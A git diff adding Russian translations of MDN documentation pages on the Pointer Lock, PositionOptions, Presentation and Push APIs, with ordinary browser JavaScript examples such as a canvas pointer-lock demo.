Some new values have been defined for the {{cssxref("touch-action", "CSS touch-action")}} property as part of the {{SpecName('Pointer Events 3')}} specification but currently those new values have limited implementation support.

+ +

Demos and examples

+ + + +

Community

+ + + + + + diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html new file mode 100644 index 0000000000..7c70e8f15b --- /dev/null +++ b/files/ru/web/api/pointer_lock_api/index.html @@ -0,0 +1,325 @@ +--- +title: Pointer Lock API +slug: Web/API/Pointer_Lock_API +translation_of: Web/API/Pointer_Lock_API +--- +

Pointer lock API(прежнее название Mouse Lock API) обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора в окне. Это дает вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу в окне браузера, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.

+ +

Более того, API полезно для любых приложений, которые используют данные мыши для управления движениями, вращения обьектов и изменения записей. Например пользователь может управлять наклоном просто двигая мышь, не нажимая ни на какие кнопки. Сами кнопки освобождаются под другие задачи. Примерами могут послужить  программы для просмотра карт или спутниковой съемки.

+ +

Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушел за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперед, не боясь покинуть игровое поле и случайно переключится на другое приложение.

+ +

Основные концепции

+ +

Pointer lock is related to mouse capture. Mouse capture provides continued delivery of events to a target element while a mouse is being dragged, but it stops when the mouse button is released. Pointer lock is different from mouse capture in the following ways:

+ + + +

Обзор методов/свойств

+ +

Этот раздел содержит краткое описание каждого свойства и метода, связанного со спецификацией блокировки указателя.

+ +

requestPointerLock()

+ +

The Pointer lock API, similar to the Fullscreen API, extends DOM elements by adding a new method, {{domxref("Element.requestPointerLock","requestPointerLock")}}, which is vendor-prefixed for now. You would currently declare it something like this, for example if you wanted to request pointer lock on a canvas element.:

+ +
canvas.requestPointerLock = canvas.requestPointerLock ||
+                            canvas.mozRequestPointerLock ||
+                            canvas.webkitRequestPointerLock;
+
+canvas.requestPointerLock()
+
+ +

pointerLockElement and exitPointerLock()

+ +

The Pointer lock API also extends the {{domxref("Document")}} interface, adding both a new property and a new method. The new property is used for accessing the currently locked element (if any), and is named {{domxref("Document.pointerLockElement","pointerLockElement")}}, which is vendor-prefixed for now. The new method on {{domxref("Document")}} is {{domxref("Document.exitPointerLock","exitPointerLock")}} and, as the name implies, it is used to exit Pointer lock.

+ +

The {{domxref("Document.pointerLockElement","pointerLockElement")}} property is useful for determining if any element is currently pointer locked (e.g., for doing a boolean check) and also for obtaining a reference to the locked element, if any.

+ +

Here is an example of using pointerLockElement:

+ +
if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+} else {
+    console.log('The pointer lock status is now unlocked');
+}
+ +

The {{domxref("Document.exitPointerLock")}} method is used to exit pointer lock, and like {{domxref("Element.requestPointerLock","requestPointerLock")}}, works asynchronously using the {{event("pointerlockchange")}} and {{event("pointerlockerror")}} events, which you'll see more about below.

+ +
document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+// Attempt to unlock
+document.exitPointerLock();
+
+ +

pointerlockchange event

+ +

When the Pointer lock state changes—for example, when calling {{domxref("Element.requestPointerLock","requestPointerLock")}}, {{domxref("Document.exitPointerLock","exitPointerLock")}}, the user pressing the ESC key, etc.—the {{event("pointerlockchange")}} event is dispatched to the document. This is a simple event and contains no extra data.

+ +
if ("onpointerlockchange" in document) {
+  document.addEventListener('pointerlockchange', lockChangeAlert, false);
+} else if ("onmozpointerlockchange" in document) {
+  document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
+} else if ("onwebkitpointerlockchange" in document) {
+  document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);
+}
+
+function lockChangeAlert() {
+  if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+    // Do something useful in response
+  } else {
+    console.log('The pointer lock status is now unlocked');
+    // Do something useful in response
+  }
+}
+ +

pointerlockerror event

+ +

When there is an error caused by calling {{domxref("Element.requestPointerLock","requestPointerLock")}} or {{domxref("Document.exitPointerLock","exitPointerLock")}}, the {{event("pointerlockerror")}} event is dispatched to the document. This is a simple event and contains no extra data.

+ +
document.addEventListener('pointerlockerror', lockError, false);
+document.addEventListener('mozpointerlockerror', lockError, false);
+document.addEventListener('webkitpointerlockerror', lockError, false);
+
+function lockError(e) {
+  alert("Pointer lock failed");
+}
+ +
Note: The above events are currently prefixed with moz in Firefox and webkit in Chrome. 
+ +

Extensions to mouse events

+ +

The Pointer lock API extends the normal {{domxref("MouseEvent")}} interface with movement attributes.

+ +
partial interface MouseEvent {
+    readonly attribute long movementX;
+    readonly attribute long movementY;
+};
+ +
The movement attributes are currently prefixed as .mozMovementX and .mozMovementY in Firefox, and.webkitMovementX and .webkitMovementY in Chrome.
+ +

Two new parameters to mouse events—{{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}}—provide the change in mouse positions. The values of the parameters are the same as the difference between the values of {{domxref("MouseEvent")}} properties, {{domxref("MouseEvent.screenX","screenX")}} and {{domxref("MouseEvent.screenY","screenY")}}, which are stored in two subsequent {{event("mousemove")}} events, eNow and ePrevious. In other words, the Pointer lock parameter movementX = eNow.screenX - ePrevious.screenX.

+ +

Locked state

+ +

When Pointer lock is enabled, the standard {{domxref("MouseEvent")}} properties {{domxref("MouseEvent.clientX","clientX")}}, {{domxref("MouseEvent.clientY","clientY")}}, {{domxref("MouseEvent.screenX","screenX")}}, and {{domxref("MouseEvent.screenY","screenY")}} are held constant, as if the mouse is not moving. The {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} properties continue to provide the mouse's change in position. There is no limit to {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} values if the mouse is continuously moving in a single direction. The concept of the mouse cursor does not exist and the cursor cannot move off the window or be clamped by a screen edge.

+ +

Unlocked state

+ +

The parameters {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} are valid regardless of the mouse lock state, and are available even when unlocked for convenience.

+ +

When the mouse is unlocked, the system cursor can exit and re-enter the browser window. If that happens, {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} could be set to zero.

+ +

Simple example walkthrough

+ +

We've written a simple pointer lock demo to show you how to use it to set up a simple control system (see source code). The demo looks like this:

+ +

A red circle on top of a black background.

+ +

This demo uses JavaScript to draw a ball on top of an {{ htmlelement("canvas") }} element. When you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. Let's see how this works.

+ +

Set initial x and y positions on the canvas:

+ +
var x = 50;
+var y = 50;
+ +

The canvasDraw() function draws the ball in the current x and y positions, but it also includes if() statements to check whether the ball has gone off the edges of the canvas. If so, it makes the ball wrap around to the opposite edge.

+ +
function canvasDraw() {
+  if(x > canvas.clientWidth+20) {
+    x = 0;
+  }
+
+  if(y > canvas.clientHeight+20) {
+    y = 0;
+  }
+
+  if(x < -20) {
+    x = canvas.clientWidth;
+  }
+
+  if(y < -20) {
+    y = canvas.clientHeight;
+  }
+
+  ctx.fillStyle = "black";
+  ctx.fillRect(0,0,canvas.clientWidth,canvas.clientHeight);
+  ctx.fillStyle = "#f00";
+
+  ctx.beginPath();
+  ctx.arc(x,y,20,0,degToRad(360), true);
+  ctx.fill();
+}
+ +

The pointer lock methods are currently prefixed, so next we'll fork them for the different browser implementations.

+ +
canvas.requestPointerLock = canvas.requestPointerLock ||
+           canvas.mozRequestPointerLock ||
+           canvas.webkitRequestPointerLock;
+// pointer lock object forking for cross browser
+
+document.exitPointerLock = document.exitPointerLock ||
+         document.mozExitPointerLock ||
+         document.webkitExitPointerLock;
+//document.exitPointerLock();
+ +

Now we set up an event listener to run the requestPointerLock() method on the canvas when it is clicked, which initiates pointer lock.

+ +
canvas.onclick = function() {
+  canvas.requestPointerLock();
+}
+ +

Now for the dedicated pointer lock event listener: pointerlockchange. When this occurs, we run a function called lockChangeAlert() to handle the change.

+ +
// pointer lock event listener
+
+// Hook pointer lock state change events for different browsers
+document.addEventListener('pointerlockchange', lockChangeAlert, false);
+document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
+document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);
+ +

This function checks the pointLockElement property to see if it is our canvas. If so, it attached an event listener to handle the mouse movements with the canvasLoop() function. If not, it removes the event listener again.

+ +
function lockChangeAlert() {
+  if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+    document.addEventListener("mousemove", canvasLoop, false);
+  } else {
+    console.log('The pointer lock status is now unlocked');
+    document.removeEventListener("mousemove", canvasLoop, false);
+  }
+}
+ +

A tracker is set up to write out the X and Y values to the screen, for reference.

+ +
  var tracker = document.createElement('p');
+  var body = document.querySelector('body');
+  body.appendChild(tracker);
+  tracker.style.position = 'absolute';
+  tracker.style.top = '0';
+  tracker.style.right = '10px';
+  tracker.style.backgroundColor = 'white';
+ +

The canvasLoop() function first forks the movementX and movementY properties, as they are also prefixed currently in some browsers. It then adds those property's values to x and y, and reruns canvasDraw() with those new values so the ball position is updated. Finally, we use requestAnimationFrame() to run the loop again and again.

+ +
function canvasLoop(e) {
+  var movementX = e.movementX ||
+      e.mozMovementX          ||
+      e.webkitMovementX       ||
+      0;
+
+  var movementY = e.movementY ||
+      e.mozMovementY      ||
+      e.webkitMovementY   ||
+      0;
+
+  x += movementX;
+  y += movementY;
+
+  canvasDraw();
+
+  var animation = requestAnimationFrame(canvasLoop);
+
+  tracker.innerHTML = "X position: " + x + ', Y position: ' + y;
+}
+ +

iframe limitations

+ +

Pointer lock can only lock one iframe at a time. If you lock one iframe, you cannot try to lock another iframe and transfer the target to it; Pointer lock will error out. To avoid this limitation, first unlock the locked iframe, and then lock the other.

+ +

While iframes work by default, "sandboxed" iframes block Pointer lock. The ability to avoid this limitation, in the form of the attribute/value combination <iframe sandbox="allow-pointer-lock">, is expected to appear in Chrome soon.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock')}}{{Spec2('Pointer Lock')}}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

Yes {{ property_prefix("webkit") }}

+ 		+

Yes {{ property_prefix("gecko") }}

+ 		{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

See also

+ + diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html new file mode 100644 index 0000000000..3b0653b12b --- /dev/null +++ b/files/ru/web/api/positionoptions/index.html @@ -0,0 +1,105 @@ +--- +title: PositionOptions +slug: Web/API/PositionOptions +translation_of: Web/API/PositionOptions +--- +
{{APIRef("Geolocation API")}}
+ +

Интерфейс PositionOptions описывает объект содержащий свойства передаваемые как параметр в {{domxref("Geolocation.getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()")}}.

+ +

Свойства

+ +

Интерфейс PositionOptions не наследует никаких других свойств.

+ +
+
{{domxref("PositionOptions.enableHighAccuracy")}}
+
{{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточненный результат. Если true и устройство поддерживает расширенный поиск локации, то он будет осуществлен. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если false, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: false.
+
{{domxref("PositionOptions.timeout")}}
+
Положительное число в милисекундах, устанавливающее время, за которое устройство должно вернуть результат. По умолчанию это значение Infinity, что значит, getCurrentPosition() будет работать до тех пор пока не определит положение устройства.
+
{{domxref("PositionOptions.maximumAge")}}
+
Положительное число указывающее максимально возможное время для кэширования результатов поиска положения устройства. Если установить 0, это будет означать, что устройство не будет кэшировать позицию и будет всегда возвращать результат нового поиска. Если установить Infinity, устройство всегда будет возвращать результат первого поиска. По умолчанию: 0.
+
+ +

Методы

+ +

Интерфейс PositionOptions не реализует и не наследует никаких методов.

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}{{Spec2('Geolocation')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка5{{CompatGeckoDesktop("1.9.1")}}910.60
+ {{CompatNo}} 15.0
+ 16.0		5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("4")}}{{CompatUnknown}}10.60{{CompatUnknown}}
+
+ +

Также можно посмотреть

+ + diff --git a/files/ru/web/api/presentation/index.html b/files/ru/web/api/presentation/index.html new file mode 100644 index 0000000000..6e5666bf7a --- /dev/null +++ b/files/ru/web/api/presentation/index.html @@ -0,0 +1,107 @@ +--- +title: Presentation +slug: Web/API/Presentation +tags: + - АПИ + - Интерфейс + - Презентация + - Презентация АПИ + - Ссылка + - Экспериментальный +translation_of: Web/API/Presentation +--- +

{{APIRef("Presentation API")}}

+ +

The Presentation can be defined as two possible user agents in the context: Controlling user agent and Receiving user agent.

+ +

In controlling browsing context, the Presentation interface provides a mechanism to override the browser default behavior of launching presentation to external screen. In receiving browsing context, Presentation interface provides the access to the available presentation connections.

+ +

Properties

+ +
+
{{domxref("Presentation.defaultRequest")}}
+
In a controlling user agent, the defaultRequest attribute MUST return the default presentation request if any, null otherwise. In a receiving browsing context, it MUST return null.
+
{{domxref("Presentation.receiver")}}
+
In a receiving user agent, the receiver attribute MUST return the PresentationReceiver instance associated with the receiving browsing context and created by the receiving user agent when the receiving browsing context is created.
+
+ +

Methods

+ +

None.

+ +

 

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Presentation','#interface-presentation','Presentation interface')}}{{Spec2('Presentation')}}Initial definition.
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatChrome (48.0)}}

+ 		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome (48.0)}}
+
diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html new file mode 100644 index 0000000000..2581e73e03 --- /dev/null +++ b/files/ru/web/api/push_api/index.html @@ -0,0 +1,186 @@ +--- +title: Push API +slug: Web/API/Push_API +tags: + - API + - Ссылка + - Уведомления + - Экспериментальная +translation_of: Web/API/Push_API +--- +

{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}

+ +

Push API дает веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте

+ +
+

Примечание: Эта документация охватывает спецификацию W3C Push API ; если вы ищете документацию по запатентованной технологии Firefox OS , смотрите здесь.

+
+ +

Общие сведения об использовании push уведомлений

+ +
+

При внедрении подписки PushManager, жизненно важно защищать запросы от CSRF/XSRF атак в вашем приложении.

+ +

Дополнительную информацию см. В следующих статьях:

+ + +
+ +

Для получения push уведомлений приложение должно иметь активный service worker. Когда service worker активен, оно может подписаться на push уведомления используя {{domxref("PushManager.subscribe()")}}.

+ +

Полученный объект {{domxref("PushSubscription")}} включает в себя всю необходимую информацию, которая может потребоваться приложению чтобы отправить push уведомление: адрес и ключ шифрования, необходимые для отправки данных.

+ +

Service worker будет запущен для того чтобы обрабатывать входящие push сообщения, которые будут доставлены в {{domxref("ServiceWorkerGlobalScope.onpush")}} обработчик события. Это позволит приложению реагировать на push сообщения, к примеру показывать нотификации через метод {{domxref("ServiceWorkerRegistration.showNotification()")}}.

+ +

Каждая подписка уникальна по отношению к service worker. Адрес для подписки это уникальный capability URL: все что нужно чтобы отослать сообщение вашему приложению это адрес. Однако это URL необходимо держать в секрете, иначе любое другое приложение сможет слать push уведомление к вашему приложению.

+ +

Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счет. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.

+ +
+

Примечание: Начиная с Gecko 44, разрешенная квота push-уведомлений для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все еще должна отображаться в течение трех секунд. Это обрабатывает случаи, когда получены несколько Push уведомлений подряд и не все генерируют видимое уведомление.

+
+ +
+

Примечание: Так же Chrome обязывает регистрировать проект в Google Cloud Messaging для отправки push сообщений, а также использовать присвоенный номер проекта и API ключ когда отправляются push уведомления. К тому же требуется наличие манифеста приложения с некоторыми параметрами для использования этого сервиса. Возможно эти ограничения будут убраны в будущем.

+
+ +

Интерфейсы

+ +
+
{{domxref("PushEvent")}}
+
Представляет собой push действие отправленное в global scope {{domxref("ServiceWorker")}}-а. Содержит информацию отправленную в {{domxref("PushSubscription")}}.
+
{{domxref("PushManager")}}
+
Предоставляет способ для получения уведомлений из сторонних серверов, а также из URL запросов для push уведомлений. Этот интерфейс заменил устаревшую функциональность интерфейса {{domxref("PushRegistrationManager")}}.
+
{{domxref("PushMessageData")}}
+
Предоставляет доступ к push данным отправленным сервером и включает методы для манипулирования полученными данными.
+
{{domxref("PushSubscription")}}
+
Предоставляет конечную точку URL подписки и позволяет отписаться от push сервиса.
+
+ +

Служебный работник дополнения

+ +

Следущие дополнения к Service Worker API описанные в спецификации Push API, представляют собой первостепенные действия для использования Push сообщений, а также для обработки push событий.

+ +
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Возвращает ссылку на интерфейс {{domxref("PushManager")}} для манипулирования push подписок включая подписование, получение активной подписки и доступ к статусу push разрешения. Это входная точка к обмену push сообщениями.
+
{{domxref("ServiceWorkerGlobalScope.onpush")}}
+
Данный обработчик событий вызывается всякий раз когда происходит событие {{Event("push")}}; то есть всегда когда принимается push сообщение сервера.
+
{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}
+
Данный обработчик событий вызывается всякий раз когда происходит событие {{Event("pushsubscriptionchange")}}; например, когда push подписка стала недействительной или собирается быть недействительной (к примеру, когда push сервис устанавливает время истечения.)
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Push API")}}{{Spec2("Push API")}}Initial definition
+ +

Совместимость браузера

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(42.0)}}{{CompatGeckoDesktop(44.0)}}[1]{{CompatUnknown}}[2]{{CompatUnknown}}{{CompatUnknown}}
{{domxref("PushEvent.data")}},
+ {{domxref("PushMessageData")}}		{{CompatChrome(50.0)}}{{CompatGeckoDesktop(44.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(51.0)}}
{{domxref("PushEvent.data")}},
+ {{domxref("PushMessageData")}}		{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(51.0)}}
+
+ +

[1] В настоящее время доступно только для настольных версий Firefox; также push-сообщения доставляются только во время работы Firefox.

+ +

[2]: Microsoft Edge status: In Development

+ +

Смотрите также

+ + + +
+
+
diff --git a/files/ru/web/api/push_api/using_the_push_api/index.html b/files/ru/web/api/push_api/using_the_push_api/index.html new file mode 100644 index 0000000000..6e5b1124da --- /dev/null +++ b/files/ru/web/api/push_api/using_the_push_api/index.html @@ -0,0 +1,419 @@ +--- +title: Использование Push API +slug: Web/API/Push_API/Using_the_Push_API +translation_of: Web/API/Push_API +--- +

W3C Push API предоставляет некоторый захватывающий новый функционал для разработчиков для использования в web-приложениях: эта статья предлагает вводную информацию о том, как настроить Push-уведомления и управлять ими, с помощью простого демо.

+ +

Возможность посылать сообщения или уведомления от сервера клиенту в любое время — независимо от того, активно приложение или нет — было прерогативой нативных приложений некоторое время, и наконец пришло в Web! Поддерживается большинства возможностей Push сейчас возможна в браузерах Firefox 43+ и Chrome 42+ на настольных компьютерах, мобильные платформы, возможно, скоро присоединятся. {{domxref("PushMessageData")}} на данный момент экспериментально поддерживаются только в Firefox Nightly (44+), и реализация может меняться.

+ +
+

Примечание: Ранние версии Firefox OS использовали проприетарную версию этого API вызывая Simple Push. Считается устаревшим по стандартам Push API.

+
+ +

Демо: основы простого сервера чат-приложения

+ +

Демо, котрые мы создали, представляет начальное описание простого чат-приложения. Оно представляет собой форму, в которую вводятся данные, и кнопку для подписки на push-сообщения . Как только кнопка будет нажата, вы подпишитесь на push-сообщения, ваши данные будут записаны на сервере, а отправленное push-сообщение сообщит всем текущим подписчикам, что кто-то подписался.

+ +

На данном этапе, имя нового подписчика появится в списке подписчиков, вместе с текстовым полем и кнопкой рассылки, чтобы позволить подписчику отправить сообщение.

+ +

+ +

Чтобы запустить демо, следуйте инструкциям на странице push-api-demo README. Заметте, что серверная компонента все еще нуждается в небольшой доработке для запуска в Chrome и в общем запусается более разумным путем. Но аспекты Push все еще могут быть полностью понятны; мы углубимся в это после того, как просмотрим технологии в процессе.

+ +

Обзор технологии

+ +

Эта секция предоставляет описание того, какие технологии учавствуют в примере.

+ +

Web Push-сообщения это часть семейства технологий сервис воркеров; в первую очередь, для получения push-сообщений сервис воркер должен быть активирован на странице. Сервис воркер получает push-сообщения, и затем вы сами решаете, как уведомить об этом страницу. Вы можете:

+ + + +

Обычно необходима комбинация этих двух решений; демо внизу включает пример обоих.

+ +
+

Примечание: Вам необходим некоторый код, запущенный на сервере, для управления конечной точкой/шифроманием данных и отправки запросов push-сообщений. В нашем демо мы собрали на скорую руку сервер, используя NodeJS.

+
+ +

Сервис воркер так же должен подписаться на сервис push-сообщений. Каждой сессии предоставляется собственная уникальная конечная точка, когда она подписывается на сервис push-сообщений. Эта конечная точка получается из свойства  ({{domxref("PushSubscription.endpoint")}}) объекта подписчика. Она может быть отправлена серверу и использоваться для пересылки сообщений активному сервис воркеру сессии. Каждый браузер имеет свой собсвтенный сервер push-сообщений для  управления отправкой push-сообщений.

+ +

Шифрование

+ +
+

Примечание: Для интерактивного краткого обзора, попробуйте JR Conlin's Web Push Data Encryption Test Page.

+
+ +

Для отправки данных с помошью push-сообщений необходимо шифрование. Для этого необходим публичный ключ, созданный с использованием метода  {{domxref("PushSubscription.getKey()")}}, который основывается на некотором комплексе механизмов шифрования, которые выполняются на стороне сервера; читайте Message Encryption for Web Push. Со временем появятся библиотеки для управления генерацией ключей и шифроманием/дешифрованием push-сообщений; для этого демо мы используем Marco Castelluccio's NodeJS web-push library.

+ +
+

Примечание: Есть так же другая библиотека для управления шифрованием с помошью Node и Python, смотри encrypted-content-encoding.

+
+ +

Обобщение рабочего процесса Push

+ +

Общие сведения ниже это то, что необходимо для реализации push-сообщений. Вы можете найти больше информации о некоторых частях демо в последующих частях.

+ +
    +
  1. Запрос на разрешение web-уведомлений или что-то другое, что вы используете и для чего необходимо разрешение.
    2. +
  2. Регистрация сервис воркера для контроля над страницей с помошью вызова {{domxref("ServiceWorkerContainer.register()")}}.
    3. +
  3. Подписка на сервис push-уведомлений с помошью {{domxref("PushManager.subscribe()")}}.
    4. +
  4. Запрашивание конечной точки, соответствующей подписчику, и генерация публичного ключа клиента ({{domxref("PushSubscription.endpoint")}} и {{domxref("PushSubscription.getKey()")}}. Заметте, что getKey() на данный момент эксперементальная технологий и доступна только в Firefox.)
    5. +
  5. Отправка данных на сервер, чтобы тот мог присылать push-сообщения, когда необходимо. Это демо использует {{domxref("XMLHttpRequest")}}, но вы можете использовать Fetch.
    6. +
  6. Если вы используете Channel Messaging API для связи с сервис воркером, установите новый канал связи ({{domxref("MessageChannel.MessageChannel()")}}) и отправте port2 сервис воркеру с помошью вызова {{domxref("Worker.postMessage()")}} для того, чтобы открыть канал связи. Вы так же должны настроить слушателя для ответов на сообщения, которые будут отправляться обратно с сервис воркера.
    7. +
  7. На стороне сервера сохраните конечную точку и все остальные необходимые данные, чтобы они были доступны, когда будет необходимо отправить push-сообщение добавленному подписчику (мы используем простой текстовый файл, но вы можете использовать базу данных или все что угодно на ваш вкус). В приложении на продакшене убедитесь, что скрываете эти данные, так что злоумышленники не смогут украсть конечную точку и разослать спам подписчикам в push-сообщениях.
    8. +
  8. Для отправки push-сообщений необходимо отослать HTTP POST конечному URL. Запрос должен включать TTL заголовок, который ограничивает время пребывания сообщения в очереди, если пользователь не в сети. Для добавления полезной информации в запросе, необходимо зашифровать ее (что включает публичнй ключ клиента). В нашем примере мы используем web-push модуль, который управляет всей тяжелой работой.
    9. +
  9. Поверх в сервис воркере настройте обработчик событий push для ответов на полученные push-сообщения. +
      +
    1. Если вы хотите отвечать отправкой сообщения канала обратно основному контексту (смотри шаг 6), необходимо сначала получить ссылку на port2, который был отправлен контексту сервис воркера ({{domxref("MessagePort")}}). Это доступно в объекте  {{domxref("MessageEvent")}}, передаваемого обработчику onmessage ({{domxref("ServiceWorkerGlobalScope.onmessage")}}). Конкретнее, он находится в свойстве ports, индекс 0. Когда это сделано, вы можете отправить сообщение обратно port1, используя {{domxref("MessagePort.postMessage()")}}.
      2. +
    2. Если вы хотитет ответить запуском системного уведомления, вы можете сделать это, вызвав {{domxref("ServiceWorkerRegistration.showNotification()")}}. Заметте, что в нашем коде мы вызываем его внутри метода {{domxref("ExtendableEvent.waitUntil()")}} — это растягивает время жизни события, пока уведомление не будет запущено, так что мы можем убедиться, что все, что мы хотели, чтобы произошло, действительно произошло.
      3. +
    +
    10. +
+ +

Сборка демо

+ +

Давайте пройдемся по коду для демо, чтобы понять, как все работает.

+ +

HTML и CSS

+ +

Нет ничего примечательного в HTML и CSS демо; HTML содержит простую форму для ввода данных для фхода в чат, кнопку для подписки на push-уведомления и двух списков, в которых перечислены подписчики и сообщения чата. После подписки появляются дополнительные средства для того, чтобы пользователь мог ввести сообщение в чат.

+ +

CSS был оставлен очень минимальным, чтобы не отвлекать от объяснения того, как функционируют Push API.

+ +

Основной файл JavaScript

+ +

 JavaScript очевидно намного более существенный. Давайте взглянем на основной файл JavaScript.

+ +

Переменные и начальные настройки

+ +

Для начала определим некоторые переменные, которые будем использовать в нашем приложении:

+ +
var isPushEnabled = false;
+var useNotifications = false;
+
+var subBtn = document.querySelector('.subscribe');
+var sendBtn;
+var sendInput;
+
+var controlsBlock = document.querySelector('.controls');
+var subscribersList = document.querySelector('.subscribers ul');
+var messagesList = document.querySelector('.messages ul');
+
+var nameForm = document.querySelector('#form');
+var nameInput = document.querySelector('#name-input');
+nameForm.onsubmit = function(e) {
+  e.preventDefault()
+};
+nameInput.value = 'Bob';
+ +

Сначала нам необходимо создать две булевы переменные, для того чтобы отслеживать подписку на push-сообщения и подтверждение разрешения на рассылку уведомлений.

+ +

Далее, мы перехватываем ссылку на {{htmlelement("button")}} подписки/отписки и задаем переменные для сохранения ссылок на наши кнопку отправки сообщения/ввода (который создастся только после успешной подписки).
+
+ Следующие переменные перехватывают ссылки на три основные {{htmlelement("div")}} элемента, так что мы можем включить в них элементы (к примеру, когда появится кнопка Отправки Сообщения Чата или сообщение появится с писке Сообщений).

+ +

Finally we grab references to our name selection form and {{htmlelement("input")}} element, give the input a default value, and use preventDefault() to stop the form submitting when the form is submitted by pressing return.

+ +

Next, we request permission to send web notifications, using {{domxref("Notification.requestPermission","requestPermission()")}}:

+ +
Notification.requestPermission();
+ +

